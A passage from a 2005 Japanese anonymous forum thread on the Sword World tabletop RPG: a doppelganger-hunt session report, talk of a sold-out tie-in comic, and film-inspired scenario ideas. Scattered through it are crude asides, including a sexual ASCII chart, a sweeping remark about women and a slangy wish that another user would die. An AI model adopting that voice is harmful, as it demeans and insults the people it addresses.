このツボは一体なんなのか頭を捻る一同、鉄の箱もあったが中身がカラなのでこの中にツボがあったと予想。箱を運んできた冒険者に中身を訊いてみるが「知らない」とのこと
気になるのでギルドでTに調べておいてもらうことに。
それから数日通り魔事件が起こる、被害者も多いことから犯人の捕縛に報酬がつく。銀の鎧を購入したPTとしては金はほしい
事件を追っていき通り魔に逢った生き残りに接触。びびって真っ先に逃げたとのこと
そいつが言うには「いきなり友人が斬りつけられた、怖くて真っ先に逃げたが気になって戻ってみると真っ黒な化け物が居て人間に化けた」と。
セージで成功しドッペルゲンガーの事だと発覚(名前と変身するってだけの情報ゲット。技能コピーとかシラネ)。ついでにツボが悪魔召還のツボと発覚。化けた人相をよく訊いて聞き込み捜索してみる
(続く)

153 :NPCさん:2005/07/05(火) 17:46:13 ID:???
レポ書いたら書いたで叩くんだろうけどな。

154 :136とは別人:2005/07/05(火) 17:48:43 ID:???
(続き)
途中、宿には男しか泊まってないのに女がいつの間にか中に居たとかそんな感じの情報を伝っていく
ドッペルとおぼしき人物に接触「小一時間問いつめてやる!」と問いつめるもごまかしまくり。あやふやな答え方するからセンスライにも引っかからぬ
フクロウでマークしておいてから、そいつをどうやって正体暴くか相談。「通り魔して攻撃すりゃ正体表すだろ」「一撃で死ねば人、死ななければドッペル(注・ドッペルが化けているのは死んだはずの人間だったりするw)」「追いかけて変身現場現行犯で〜」
で、相談の結果「通り魔決行」ディスガイズして路地に誘い込む。フクロウのおかげでほぼ確実にドッペルだから安心
不意打ちを狙うも失敗で普通に戦闘になる。ドッペルは俺に化けた(何故俺なのか疑問)、やな予感がヒシヒシと・・・
T「どっちがどっちかワカランから両方吹っ飛ばすよ」やめろと。 結局TはセンスエネミィしてTが指揮して「どっちが敵意持っているか=どっちが敵か」で判断して攻撃
しかしブレードネットのおかげで死ぬかと思った。動けばダメージ、動かずにいれば敵の攻撃、避ければブレード、避けなければドッペルの攻撃・・・ええ、サンドバック状態でした。
GMよ、俺がなんか嫌がらせしたか?
で、苦戦の末何とか撃退、ドッペルの首取ったどー。報奨金もゲットでホクホク
と、こんな感じだった(途中の会話大幅省き)読みにくいだろうけど許せ。

155 :NPCさん:2005/07/05(火) 18:03:10 ID:???
>154
ワロタ
やはりドッペル絡みだとバブリーズみたいになるのか…w

156 :NPCさん:2005/07/05(火) 18:19:44 ID:???
(・∀・)イイ!!
リプレイサンキュー!
お礼にいいものあげる↓

「乳文字」
 普通乳 (o)(o)
 でか乳 ( o )( o )
 もっとでか乳 ( @ )( @ )
 寄り乳 (q )( p)
 ちょっと乳 | + + |
 おとこ乳 | . . |
 相撲乳 ( . . )
 よせてあげ乳 ( Y )
 たれ乳 U U
 もっとたれ乳 V V
 超デカ乳りん (◎)(◎)
 ストリッパーチチ ( ★ )( ★ )
 ホルスタインチチ (。λ 。)
 だっちゅうのチチ \)(/

157 :NPCさん:2005/07/05(火) 19:47:11 ID:???
いや、おもろいんだけど。
ネタばれスレ行きだったのでは?
実プレイする人はいないから、ばれてもいいのか。
(元に戻る)

158 :NPCさん:2005/07/05(火) 19:47:38 ID:???
いかん、へっぽこコミック楽天Booksでも品切れ状態だ…orz

159 :NPCさん:2005/07/05(火) 19:50:03 ID:???
エロの力は偉大だな

160 :NPCさん:2005/07/05(火) 19:59:03 ID:???
それでも少子化傾向に歯止めが掛からんな…
まあ、今の不安定で不透明な閉塞感いっぱいな世の中に、分身たる我が子を送り出したい奴は相当な自信家か楽天家の馬鹿かだからな。



と、ここまで書いてて、今突然「家」って漢字がゲシュタルト崩壊を起こしますタ…orz

161 :NPCさん:2005/07/05(火) 20:06:32 ID:???
>>160
>それでも少子化傾向に歯止めが掛からんな…

野田聖子か、喪前は。
エロメディアが溢れているから、リアルに手を出さんのだろうが。

162 :NPCさん:2005/07/05(火) 20:07:08 ID:???
いやだからエロの矛先が3次元から2次元に移ってるんだろ?

163 :NPCさん:2005/07/05(火) 20:09:58 ID:???
貧乏だから子供作れないんだよアホ!

164 :NPCさん:2005/07/05(火) 20:12:18 ID:???
>162
10年以上前からとっくにそうなってるよ。
バブル期に女達が変に高飛車になってしまったから、現実の女性に魅力が無くなったとか誰か言ってたな…

165 :NPCさん:2005/07/05(火) 20:14:52 ID:???
漏れとしては、>>161は、

 はっ!?Σ(゚Д゚)
 リプレイが溢れているから、実プレイに手を出さないのか!?

と繋げてほしいがゆえのナイスパスのつもりだったのに。(´・ω・)ショボーン

166 :NPCさん:2005/07/05(火) 20:19:52 ID:???
>165
ヲマイのパスはナカータのパス並に厳しい。
もっと、こう、中村や小野みたいな、鋭くても受け易いパスをキボンヌ。

167 :NPCさん:2005/07/05(火) 20:25:05 ID:???
一連の流れにワロスw

168 :NPCさん:2005/07/05(火) 20:25:47 ID:???
へっぽこリプレイで出てきたカユーマ村って、
ホラー

バイオハザード

飼育員の日記

かゆ…うま…

カユーマ
と、突然閃いたんだが、この説どうよ?

169 :NPCさん:2005/07/05(火) 20:30:17 ID:???
最近、ツアー「オーファン」の2つめのシナリオやったのだが、あれってクリアできるのか?
一応自分のところのマスターはいろいろ改変してくれて、期限ぎりぎりで任務達成できたのだが。

170 :NPCさん:2005/07/05(火) 20:30:24 ID:???
アマゾンもセブンアンドワイも楽天も品切れ
コミック売り切れまくりだな

171 :NPCさん:2005/07/05(火) 20:33:40 ID:???
>>157
ネタバレも何も>>152,154はシナリオ集のシナリオじゃないんじゃねーか?

172 :NPCさん:2005/07/05(火) 20:34:20 ID:???
>>170
ありえねえぐらい売り切れまくりだな。

173 :NPCさん:2005/07/05(火) 20:42:18 ID:???
どこぞのガイドブックとはエラい違いだな

174 :ダガー+2次元未満:2005/07/05(火) 20:42:57 ID:GKpVQVxu
>152>154
レポ乙!

>157
や、公式シナリオでない限りフツーは本スレか手帳スレかと。

175 :NPCさん:2005/07/05(火) 21:12:42 ID:???
今日になってへっぽこコミックを手に入れた俺が来ましたよ
大型スーパーやデパート内の本屋って、穴場だということがわかりました


176 :NPCさん:2005/07/05(火) 21:13:45 ID:???
旧版三冊以降に完全版が出ているのを知らなかった俺が来ますたよ。
ちなみに5月で14版だった。
刷数は書いてないのでわからんが版を14回も変えてるのか……。
もはや最初の初版本とはルール自体が違ってそうな勢いだなw

177 :NPCさん:2005/07/05(火) 21:15:40 ID:???
>92
遅レスだが順番が逆。
金太の大冒険は1975年8月25日発売→20日で放送禁止。
極付け!! お万の方は1976年2月5日発売→6日で放送禁止。

さらに言えば、同じ理由で放送禁止になったので、
「吉田松陰物語」「怪傑黒頭巾」などもあったり。

まあ、2ちゃんでつぼいノリオと言えば、この歌になるのかな、と。
ttp://fukukou0426.hp.infoseek.co.jp/net/nagoya.swf

178 :芳春 ◆2JQWSmPvs. :2005/07/05(火) 21:16:29 ID:???
うちの近所の店は今日の昼間の時点ではドカンと山積みで残ってたな。
30冊近くあった。

発行数か仕入れ数を見誤ったんじゃねーか?

179 :NPCさん:2005/07/05(火) 21:19:30 ID:???
まあ、未知数の商品だからそんなにいっぱい仕入れていたとは思えないな。

180 :NPCさん:2005/07/05(火) 21:33:04 ID:???
今日買いに行ったら、近所のTSUTAYAに数冊あったな。
中途半端な地方都市だから余ってるのかも。

181 :NPCさん:2005/07/05(火) 21:58:59 ID:???
最近の芳春はばれやすい嘘をつくのが趣味なのか?

182 :NPCさん:2005/07/05(火) 21:59:45 ID:???
サイズは大きいの?小さいの?

183 :NPCさん:2005/07/05(火) 22:00:29 ID:???
普通。

184 :NPCさん:2005/07/05(火) 22:00:55 ID:???
5冊ほどツンであるのは発見したけどな
まぁ、その店はR&Rもリプレイも沢山あるところだからおかしくないけど

185 :NPCさん:2005/07/05(火) 22:02:54 ID:???
たぶんあれだ
普段コミックを扱わないゲームショップなんかでも注文あったから一般書店に出回りにくくなってんだ

186 :芳春 ◆2JQWSmPvs. :2005/07/05(火) 22:06:44 ID:???
>>181
新刊コーナーにドカドカと平積み2列とTRPG関連コーナーに平積み1列。
1列あたり10冊近くあったぞ。

オタ向け本屋だし、TRPG関連がめちゃ強い店だからだろうがな。

187 : :2005/07/05(火) 22:07:01 ID:???
次はノリーナメインの話を描いてほしいな>浜田

188 :NPCさん:2005/07/05(火) 22:08:15 ID:???
お前らまとめてラノベ板にいって下さい。
せめてルールに絡めた話くらいはしようよ。

189 :NPCさん:2005/07/05(火) 22:08:52 ID:???
SWコミックはツンデレものなのか?
買おうすぐに買いに行こう。てゆうか、もう店閉まってるから明日か

190 :NPCさん:2005/07/05(火) 22:09:30 ID:???
>>188
>>1にプレイに関係があろうと無かろうと、って書いてあるじゃん。

191 :NPCさん:2005/07/05(火) 22:09:40 ID:???
>>187
次なんてないわけだが。

192 :NPCさん:2005/07/05(火) 22:11:11 ID:???
>>188
Comicの話をラノベ板でしろとはこれいかに?

193 :NPCさん:2005/07/05(火) 22:13:05 ID:???
>>189
作者がマウナにメロリンキューなのが滲み出るマンガ。

194 : :2005/07/05(火) 22:15:35 ID:???
>>191
次は一部パーティーメインで・・・無いのか。無いのかなあ。

浜田よしかづはSWシステムを結構読み込んでるのな。
ディスガイスは本人しか云々の所とか。

後、マウナ×ヒース萌え。新たな境地を発見した思いだよ。

195 :NPCさん:2005/07/05(火) 22:22:25 ID:???
>>194
まぁ最初にルールミスのオチやっちゃったんで一通りはルール確認してるんだろ?
一応一回やってルールに興味持ったようなことはいってたはずだし

196 :NPCさん:2005/07/05(火) 22:26:00 ID:???
>177
遅レスThx
意外と沢山あるのね…というか日本は性関係におおらかだと思ったら…

イ○ーナは もう あかん
トロくさい 筋肉バカになっとる

こーれかーらの イニシアチブは
クーレスーポに 決まりー

197 :NPCさん:2005/07/05(火) 22:32:48 ID:???
コミック見て一番最初に思ったことはエロイとかそういう事じゃない


シングってあんな形なんだなぁ・・・と思った

198 :NPCさん:2005/07/05(火) 23:08:42 ID:???
>>112
同意。香具師のせいでラ板と、卓ゲーの百鬼スレはグダグダに荒れた。
正直氏んでホスィ

199 :NPCさん:2005/07/05(火) 23:15:16 ID:???
>>196
> こーれかーらの イニシアチブは
> クーレスーポに 決まりー
動機はともかく率先して行動する事が多いのは確かだからなぁ。

200 :NPCさん:2005/07/05(火) 23:17:16 ID:???
シングといえばSFC2で犯人探し物の敵で出てきてたな。
シングを使ったシナリオネタってなにかないかなあ?
センスオーラでばれちゃうのがなんとも使いづらい。


201 :NPCさん:2005/07/05(火) 23:21:06 ID:???
追われている犬を助けたら、そいつがシングだったとか
市長に立候補するシングだとか、でもじつは人間だったとか

202 :NPCさん:2005/07/05(火) 23:24:12 ID:???
村長が愛していた絶世の美女。
実は彼女は魔物ではないかという噂が立ち、
その村に居る宗派の違う神官から様々な依頼が舞い込み……

203 :NPCさん:2005/07/05(火) 23:29:36 ID:???
>>201
物体X?

204 :NPCさん:2005/07/05(火) 23:32:06 ID:???
>200
>センスオーラでばれちゃうのがなんとも使いづらい
ばれませんよ?
センスオーラは、さながら嗅覚の様に「周囲の有無」程度しかわかりません。
シングなら生命の精霊力が働いてなさそうですが、精霊使い本人が精霊の生命力を持っているので、それに紛れて検出は不可能です。

205 :NPCさん:2005/07/05(火) 23:32:34 ID:???
>>203
もともとそこからとってきたモンスターでしょ。シングって。
ホラーものは主人公がモンスターと対等に戦えないのが大前提だから、
SWでは再現しづらいね。

206 :NPCさん:2005/07/05(火) 23:32:39 ID:???
>202
新幹線氏が六人!

207 :NPCさん:2005/07/05(火) 23:34:27 ID:???
>>204
人ごみの中ではセンスオーラは避けられるが、センスマジックは避けられないな。
そこでめきめき正体を現して戦闘か・・・。なんか芸がないなあ。

208 :NPCさん:2005/07/05(火) 23:35:00 ID:???
>>200
ゼイリブを大胆にパクるのはどうか?

209 :NPCさん:2005/07/05(火) 23:35:18 ID:???
村で起る謎の殺人事件。
やがてPC達は目撃する、村人を襲う謎の不定形生物シングを。
逃亡し姿をくらますシング。
さて、奴は誰に化けている?
宿屋の客か、村外れに住み付いている流れ者か、村八分状態の男か…

210 :NPCさん:2005/07/05(火) 23:36:19 ID:???
怪しい奴を、片っ端からダガーでかすり傷(生命力の減点なし)をつけて、キュアウーンズ!
治ったら生物、治らなかったら魔法生物。

211 :NPCさん:2005/07/05(火) 23:36:22 ID:???
>>208
あれは最後主人公死ぬしw

212 :NPCさん:2005/07/05(火) 23:38:21 ID:???
>>210
むしろ血液を採取して熱した鉄を近づけたほうが・・・
血液が悲鳴を上げたらシング。

213 :NPCさん:2005/07/05(火) 23:39:45 ID:???
>>209
じつはどちらでもなく、無生物に化けていたとか。

214 :NPCさん:2005/07/05(火) 23:39:46 ID:???
>212
髪の毛を引っこ抜いて、その毛が蠢いたらシング
シースルーで、頭蓋骨が見えればシング

215 :NPCさん:2005/07/05(火) 23:40:08 ID:???
髪の毛を一本抜いて動いたりしたらシング



さて、元ネタは何でしょう?

216 :NPCさん:2005/07/05(火) 23:40:30 ID:???
>213
じつは、村人の一人が最近買った馬がシングとか。

217 :NPCさん:2005/07/05(火) 23:40:55 ID:???
>>214
うはw先手とられたwwwうぇw

218 :214:2005/07/05(火) 23:41:11 ID:???
間違えたよ。
× シースルーで、頭蓋骨が見えればシング
○ シースルーで、頭蓋骨が見えなければシング

219 :NPCさん:2005/07/05(火) 23:42:24 ID:???
ヘッドイミテーターとか、ヘッドシングとか。

220 :NPCさん:2005/07/05(火) 23:42:32 ID:???
"何か"をかたるスレはここですか?

221 :NPCさん:2005/07/05(火) 23:42:44 ID:???
村人が全員シング

222 :NPCさん:2005/07/05(火) 23:43:03 ID:???
>>209
意外な犯人像っていうミステリーものにするのなら、
無人島とか隔絶された洋館だとか、自由に行き来できない状況設定にする必要があるね。
逃げられたら見つけられっこない。

223 :NPCさん:2005/07/05(火) 23:43:14 ID:???

>>218
>>215
寄生獣だろ

224 :NPCさん:2005/07/05(火) 23:43:54 ID:???
で、元ネタは何?

225 :NPCさん:2005/07/05(火) 23:44:07 ID:???
>214-215
寄生獣

226 :NPCさん:2005/07/05(火) 23:45:15 ID:???
SWでせっかく設定されている映画ネタモンスターで、映画ネタシナリオとかやったことないので、
実際再現できないかアイディアを募りたいところ。

227 :NPCさん:2005/07/05(火) 23:47:55 ID:???
>映画ネタモンスター
たとえば?

228 :NPCさん:2005/07/05(火) 23:48:38 ID:???
>>224
SWのモンスター「シング」の元ネタは「遊星からの物体X」(原題THE THING)

229 :NPCさん:2005/07/05(火) 23:48:38 ID:???
>222
村人全員がシング!


SNEがやったハイパーボリア時代のCoCリプレイ(RPGなんて怖くないにもちらっと言及)でモロに物体Xネタがあった。
村人がどんどんニセモノと入れ替わってゆく。
PCには判別方法がないので、ついには怪物・人間の区別なく、村人全員焼き殺す。

230 :NPCさん:2005/07/05(火) 23:49:31 ID:???
映画をパクりゃいいジャン。
元々が映画発祥の怪物なら、それがbestだべ?

231 :NPCさん:2005/07/05(火) 23:51:29 ID:???
よし、ジェイソンでいこう
超強化ゾンビ『ジェイソン』!

232 :NPCさん:2005/07/05(火) 23:51:46 ID:???
>230
有名なモトネタは、うまくアレンジしないと、シナリオの先を読まれやすいよ。

233 :NPCさん:2005/07/05(火) 23:53:45 ID:???
>>227
とりあえず、「巨大蟻の恐怖」しか思いつかねぇw
クトゥルフには「13の恐怖」とか映画ネタシナリオ集があったそうだけれど。

234 :NPCさん:2005/07/05(火) 23:54:03 ID:???
>230
SNEのゴーストハンターで、「幽霊狩人カーナッキー」のネタをモロパクリしたシナリオがあって、正直げんなりしたよ。
まあ流石に最後にどんでん返しがあったが、その元ネタも怪奇小説からとってて、やっぱり萎えた。

235 :NPCさん:2005/07/05(火) 23:56:08 ID:???
>>234
怪奇小説には疎いのだけれど、そのカーナッキーというのは有名なのか?

236 :NPCさん:2005/07/05(火) 23:56:45 ID:???
>>234
何に載ってるシナリオ?

237 : ◆B.O.W./8Is :2005/07/05(火) 23:57:14 ID:???
ガクガクブルブル…

238 :NPCさん:2005/07/05(火) 23:58:02 ID:???
初めて「THE THING」を見た時はマジ怖かった。
中坊ん時だったかな。
今LDで持っててたまに観るが、恐怖は薄れはしたもののやっぱ怖い。

239 :NPCさん:2005/07/05(火) 23:59:54 ID:???
ブロブも映画なかったっけ?

240 :NPCさん:2005/07/06(水) 00:02:26 ID:???
>映画ネタ
古代遺跡の生態保存装置から発掘された卵、それは遠い地にしかいない貴重な動物のものだった。
なんとか孵化させて育てるが、稀少動物を密売する組織がそれを狙う。
本来人には慣れないはずのその動物は、PC達が育てたせいですっかり人になついていた。
それ故、密売組織はそれを狙っていたのだ。
その動物を生息地に返そうと出航するが、密売組織が追ってくる。
やがてその襲撃で船が壊れ、PC達は漂着する。
そこから人外魔境を延々と旅をし、なんとか生息地の傍まで辿りつく。
しかし、そこには密売組織の拠点があったのだ。
そこで捕まり、怪物をけしかけられるPC達。
間一髪、密売組織を追っていた軍隊がその拠点を急襲し制圧。
PC達は、無事その動物を生息地に返す事ができた。

241 :NPCさん:2005/07/06(水) 00:02:48 ID:???
>>239
あったね。

242 :NPCさん:2005/07/06(水) 00:04:23 ID:???
まあ、グレムリンもギズモもマーメイドもマーマンもあるといえばある。
グリズリーもクロコダイルもあるな。

243 :NPCさん:2005/07/06(水) 00:04:28 ID:???
>>240
のび太の恐竜かよ。

244 :NPCさん:2005/07/06(水) 00:04:47 ID:???
>>240
ドラえもん?

245 :NPCさん:2005/07/06(水) 00:05:02 ID:???
>幽霊狩人カーナッキー
映画「マタンゴ」の原作、「夜の声」の人のシリーズだね。
角川ホラーあたりから出てたと思った。
HPLと同時代の人で、怪奇小説マニアにはそこそこ有名。

246 :NPCさん:2005/07/06(水) 00:05:45 ID:???
ファンガスって元ネタマタンゴ?

247 :NPCさん:2005/07/06(水) 00:06:26 ID:???
>246
同ネタの怪物は山の様にありまっせ。

248 :NPCさん:2005/07/06(水) 00:06:46 ID:???
>>240
「卵」って見ただけでハンガーレッグかと思ったw
あれも映画ネタだな。

249 :NPCさん:2005/07/06(水) 00:08:50 ID:???
>>245
HPLって略だけでもうついていけないと思った。
ラブクラフトか?

250 :NPCさん:2005/07/06(水) 00:09:32 ID:???
>映画ネタ
古代遺跡のゲートから辿りついた先は、開拓中の未開地だった。
そこの鉱山の利権を巡る争いに巻き込まれたPC達は…
<中略>
鉱山を乗っ取ろうとする犯罪者達によって、ゲートを壊され…
<中略>
PCの帰還とともに崩壊するゲート、そしてPC達の手に残ったのは、現地の親友から渡された花束だった。

251 :NPCさん:2005/07/06(水) 00:09:49 ID:???
よーしパパ「クリープショウ」やっちゃうぞー

252 :NPCさん:2005/07/06(水) 00:11:48 ID:???
>208
「グラサンを付けろ!」「いやだ!」で30分も戦闘せにゃならんのかw

そーいえば、ピロシは水戸黄門を元ネタにしてたっけか。

で、清松は何かの時代劇で、敵の刺客が「睦月・如月…師走」と登場するのをヒントに、
風雲ミラルゴ編の「地・水・火・風」を作ったとか言ってたっけ。

それで、元ネタの時代劇の刺客が「師走」の12人で終わったのを見て、
「ここで次の刺客を入れとけば相手の油断をつけるんじゃないか」とか思って
「光・闇・氷」を隠しキャラで作成したとかなんとか。

成功したのかどうかはなんともかんともにんにん。


>240
けしかけられた怪物が、実はPC達の仲良しさんだったのを忘れてはイカン。

>248
あれはモロに、フェイスハガーでないかい?

253 :NPCさん:2005/07/06(水) 00:13:42 ID:???
>映画ネタ
拾った猫は、じつはクーデターによって国を追われたツインテールキャットの国の王子で…
<中略>
王子はPC達の協力で王国に戻り…
<中略>
古代王国時代の巨大ゴーレムを操り…
<中略>
見事、王子は王位奪還を果たしたのでした。

254 :NPCさん:2005/07/06(水) 00:15:11 ID:???
>252
>けしかけられた怪物が、実はPC達の仲良しさんだったのを忘れてはイカン。
事前にシャーマンがチャームをかけてたって事で。

255 :NPCさん:2005/07/06(水) 00:15:35 ID:???
プレイヤーキャラそっくりの石像から始まる冒険は、さすがにつじつまが合わないよ!

256 :NPCさん:2005/07/06(水) 00:17:40 ID:???
パクリとオマージュについては色々あるが、手塚の御大いわく
「受けが取れるパターンなんて、そう多くない。
 先人の遺産からそれを読み取って、細かい部分で自分の色を出せ。
 世間は奇抜なものなど求めていない。
 そんなものするぐらいなら、上手く盗め」
(超意訳)
と言っていたらしい。

まあ、ばれないように上手くアレンジすれば、名作をリメイクするのは非常に良い事だと思うな。

257 :NPCさん:2005/07/06(水) 00:21:13 ID:???
>253
ゴーレムはさておき、残り5人の外国人はどうすれば?

>254
きびだんごで手懐けていたのだから、その方が話としては筋が通ってますな。

258 :NPCさん:2005/07/06(水) 00:21:48 ID:???
>>255
主人公たちが変わり果てた姿で異世界からやってくる、というところを踏まえてなんとか。
ひみつ道具はマジックアイテムに、魔法の効果を疑似科学に置き換えるといいかも。

259 :NPCさん:2005/07/06(水) 00:22:39 ID:???
>受けが取れるパターンなんて、そう多くない。
なるほど、だから攻めは多くても受けの固定した「○○総受け」はよくあるのに、
逆の様々な受けの必要な「○○総攻め」は少ないんですね。

【馬鹿は腐女子を装ってみた】

260 :NPCさん:2005/07/06(水) 00:24:02 ID:???
>257
>残り5人の外国人
その辺はカットですよ。

261 :NPCさん:2005/07/06(水) 00:28:08 ID:???
>255
PC達ではなく、普通に人間そっくりの石像とか。
でもって、近くに魔界に通じるゲートがあって、それを研究している賢者or魔法使い(娘は美人)がいる。
魔界の偵察の弱いデーモンとかをちらほらみかけるので、PC達は魔界に出向いて大冒険を…。

262 :NPCさん:2005/07/06(水) 00:31:40 ID:???
マジでドラえもんの映画は、アレンジすれば冒険のネタになるね。
惜しむらくは、有名過ぎてすぐネタバレしてしまう事だ。

263 :NPCさん:2005/07/06(水) 00:31:54 ID:???
で、魔王の心臓を探し出して、銀の矢でしとめるわけだ。
まっとうなファンタジーだ。こんなのSWじゃない!

264 :NPCさん:2005/07/06(水) 00:32:04 ID:???
>260
超成長をするマンドレイクに血をあげたことによって、
自分とほぼ同じ大きさに成長した、でかアルラウネが後を追っかけてきて……あら?

265 :NPCさん:2005/07/06(水) 00:34:51 ID:???
流れを変えて映画ネタ
PC達はある高利貸しから、借金返済から逃げたジョニー・フェイヴァリットという男の調査を依頼される。
だが、PC達が調査を進めるにつれて関係者は次々と殺されてしまう。
実はジョニーは悪魔と契約して、他人の姿と記憶を奪ったのだった。
姿と記憶を奪われた男の名を調べると実は・・・

266 :NPCさん:2005/07/06(水) 00:35:52 ID:???
>262
でも、「大長編ドラえもんはRPGと言えるのか」というと疑問符がつく、
と語ったオッサンがおったっけ。

「最後はドラえもんの秘密道具に頼ってしまうから成長が見られない」から、とかなんとか。

267 :NPCさん:2005/07/06(水) 00:37:58 ID:???
>266
だからアレンジすればいいじゃん。
>成長が見られない
イソノ時空ものだから、例え映画といえども成長するのはタブーなわけですから。

268 :NPCさん:2005/07/06(水) 00:39:13 ID:???
RPGだって成長してるのは数値だけだから問題無し

269 :NPCさん:2005/07/06(水) 00:42:06 ID:???
そもそも、成長はRPGに不可欠の要素ではないがな。

270 :NPCさん:2005/07/06(水) 00:42:23 ID:???
>268
そーいやRPGは、駒・ユニットの成長ばかりが重視されて、PLの戦術・戦略等の成長は無視・禁止されてる気がする。
マンチだの、卑怯だのってレッテルを貼ってさ。
将棋なんて同一の駒を使って、純粋にPLの実力(&運)で戦ってるのに、RPGじゃあまりそういうPLの実力ってのは見受けられない。

271 :NPCさん:2005/07/06(水) 00:45:54 ID:???
>>270
そんなことないだろ?

272 :NPCさん:2005/07/06(水) 00:50:57 ID:???
それこそ、システムと鳥取次第だと思う。

273 :NPCさん:2005/07/06(水) 00:52:37 ID:???
>271
過去のリプレイとか見てると、そうは見えんよ?
基本的にPCの性能アップによって強く有能になり、ミッション解決はあっても、
PLの成長だけ(PCの成長がされてない)によって強く有能になって、それがミッション解決につながった事はないだろ?

274 :NPCさん:2005/07/06(水) 00:53:31 ID:???
>>273
何のリプレイよ?

275 :NPCさん:2005/07/06(水) 00:55:04 ID:???
>>273
それが事実だったとしても「無視・禁止」されているわけではない。

276 :NPCさん:2005/07/06(水) 00:55:30 ID:???
スレの流れに触発されて久しぶりに「のび太の海底鬼岩城」を読み直した。
「永遠のやみにとざされ、死の壁にかこまれ、死の軍団に守られた死者の国」
ってすげー燃えるフレーズだな。

フォーセリアの海底ではミルリーフの眷属たるアンデッド軍団が
マーマンたちと永遠の闘争を繰り広げていたりして。

277 :NPCさん:2005/07/06(水) 00:58:15 ID:???
マーモ島にて、宮廷道化師が海の邪神を目撃したと言う。




ミルリーフを見るリーフ。HAHAHAHAHA!

278 :NPCさん:2005/07/06(水) 01:08:46 ID:???
>>273
それはまさにSNEの鳥取と言う奴だ。

279 :NPCさん:2005/07/06(水) 01:30:54 ID:???
>>276
むしろあの昔の声が懐かしくて懐かしくて号泣ですよ。
でもタイムスリップものはうまくシナリオにできないな。
宇宙開拓史は>250でいいとして、他に何かあるかなあ。
砂漠の国で「俺巨人殺しハーディーだよ」とフカシをかましたPTの戦士が
最終的に巨人をやっちゃうとか。

280 :NPCさん:2005/07/06(水) 01:52:08 ID:???
日本誕生なんかは難しそうだな

オリジナリティの点で

281 :NPCさん:2005/07/06(水) 01:56:31 ID:???
>>279
のび太の恐竜みたいに単なる舞台移動なら問題ないんだけどな。
タイムパラドクスをネタにされると辛いやね。

282 :NPCさん:2005/07/06(水) 02:03:53 ID:???
ある美少女暗黒神官が賢者の学院を騙して
難攻不落の古代遺跡を占拠し、そこの施設を利用して魔法生物の軍団を組織する。
PCたちはその古代遺跡のほど近くにある別な遺跡に乗り込み、
魔法生物を消滅させるマジックアイテムを手に入れて…。

あんまり鉄人兵団っぽくないな。

283 :NPCさん:2005/07/06(水) 02:11:21 ID:???
しかし、思うんだが250だとPCが帰らなくても問題がない気がするな。

284 :NPCさん:2005/07/06(水) 02:17:53 ID:???
>282
>あんまり鉄人兵団っぽくないな
ならば、ネタバレしにくいから却って良いのでは?

285 :NPCさん:2005/07/06(水) 02:18:06 ID:???
>>283
そこはのび太たちみたいに帰るべき日常を用意してやれば良いんじゃないか?
神殿や学院の仕事が残ってるとか。

286 :NPCさん:2005/07/06(水) 02:20:49 ID:???
>魔法生物を消滅させるマジックアイテムを手に入れて
もちろん、PCに命を助けられて改心した件の美少女暗黒神官が自らの命を犠牲にして手に入れるんだな?

287 :NPCさん:2005/07/06(水) 02:30:43 ID:???
実はリーンカーネーション使ってて、後で復活するんだな
今度はファリスかマーファの神官として

288 :NPCさん:2005/07/06(水) 02:31:46 ID:???
>>109-112
亀レスでスマソ。
そのMとかいう香具師についての詳細を知りたいのですが、香具師は他にどのスレでどんな事をしたんでしょうか?
当該スレか、何をしたか、どちらかを教えていただけませんでしょうか?

289 :NPCさん:2005/07/06(水) 02:33:05 ID:???
>285
家族とか故郷とか

290 :NPCさん:2005/07/06(水) 02:34:17 ID:???
「ここでレベル上げてテレポートで帰ります」

291 :NPCさん:2005/07/06(水) 06:06:00 ID:???
知性を持った古代の魔法装置がパーティの紅一点に惚れて、捕まった彼女を助ける為にラスボスに特攻。
最後にネジが残ったという・・・。

292 :NPCさん:2005/07/06(水) 07:16:56 ID:???
『魔界大冒険』は普段科学文明の世界に住んでいるPCが魔法の世界に旅立つのに特色があるので
SW世界のキャラクターは科学文明の世界に迷い込むほうが良いんじゃないかしら。
石化=カーボン冷凍、悪魔=ボーグぐらいで。

ドラビアンナイトとか西遊記はやりにくいよね、確かに。ファンタジーで歴史改変ネタ無しでやると
ごく普通の話になってしまう。

293 :NPCさん:2005/07/06(水) 07:18:17 ID:???
>265
「エンゼル・ハート」だっけ?

294 :NPCさん:2005/07/06(水) 10:14:04 ID:???
           ↓アトン
     / /     ´| |       /)
   |ヽ/ / ,  ─┴┴── 、      /i
  /| ヽ/ /             ゙  \    / .i
 /  !  ヽ´             ヾ ヽ../  !
 | / \   ) o o o o o o o o oヾ゙  /
 | | | |ヽ/ ̄ ̄ ̄ ̄ ̄ ̄ o ̄ ̄ ̄ ̄ |./       「 親 玉 ハ
 | | | |/ ≡  / ̄ ̄ ̄|| o | ̄ ̄ヽ |      \\                   //
 |_| |  | ≡ (____|| o |____) |   ⊃   \\  オ マ エ カ !! 」 //
   ̄ ̄| ≡     =    || o |  ヾ   |
      |       ゙     || o |、   ヾ |
     /         / ヾ_ノ \   \            ┌─┌ ┐    ____
    /        //⌒`─´⌒ヽ\  \     __,──||  ||___|__ __|i ̄ ̄/ ̄|| __
   /       / /   , ─ 、   |  )\ ヽ   /─、 \/ ||  /,───┬) || ̄ ̄|   || ───
  /     /(  (_/ ─ \_ノ (  |\)  //⌒ヾ ヽ   ̄ ̄ / /^ヾ \|_||__|__||
  (    /(  )             ) |_/   | (j | |__    | (j |  |/  ̄ ̄ ̄/_____
   \ |´  ) (   (  (  ) (  ( /     ヽ_ノ_ノ     ̄ ̄ヽ  ノ ノ ̄ ̄ヾ二ノ´ ──────
      | (   )  )  ) (   ) )/                    ̄ ̄___________
      |  )  (  (   (   ) ( (              ↑────────────────
       ヽ (   )  )  ) (  ) )           イリーナ

295 :NPCさん:2005/07/06(水) 10:42:28 ID:???
>>266
いちおー、ストーリーの最初と最後を比べれば(ちょっとだけ)成長しているように見えるけどなあ。まあ、3歩進んで2歩下がるみたいなもんだけど。


きっと、侵食率オーバーで経験点0プレイをしているんだよ。

296 :NPCさん:2005/07/06(水) 11:51:37 ID:???
>「最後はドラえもんの秘密道具に頼ってしまうから成長が見られない」

RPGの宝物が100と100の常識だったかな、スゲエ独りよがりな本だった希ガス

297 :NPCさん:2005/07/06(水) 11:52:27 ID:???
>>240 ちょっと弄ればエイリアン2になるな

298 :NPCさん:2005/07/06(水) 12:34:49 ID:???
じゃあソーサラーは魔法に頼ってるから成長無しでいいですね

299 :NPCさん:2005/07/06(水) 13:10:42 ID:???
>297
メトロイドって線もあるぞ。

300 :NPCさん:2005/07/06(水) 13:36:31 ID:???
